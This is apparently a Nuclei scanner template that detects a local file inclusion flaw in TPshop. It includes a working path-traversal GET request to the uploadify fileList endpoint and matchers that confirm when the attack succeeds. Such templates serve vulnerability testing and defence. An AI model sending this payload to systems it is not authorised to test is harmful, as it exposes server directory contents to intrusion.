漏洞描述
TPshop is vulnerable to local file inclusion.
id: tpshop-directory-traversal
info:
name: TPshop - Local File Inclusion
author: pikpikcu
severity: high
description: TPshop is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: tpshop,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php/Home/uploadify/fileList?type=.+&path=../../../"
matchers-condition: and
matchers:
- type: word
words:
- '"state":"SUCCESS"'
- type: status
status:
- 200
# digest: 4a0a00473045022100d986a0cad8bbbf378fd5128f0ddb5c41527842940708dea675d41a403085f31c0220487371ea94655ffcf3c07d205354e906aa6c9ec8de39bfcc937052ea3fb3cd9d:922c64590222798bb761d5b6d8e72950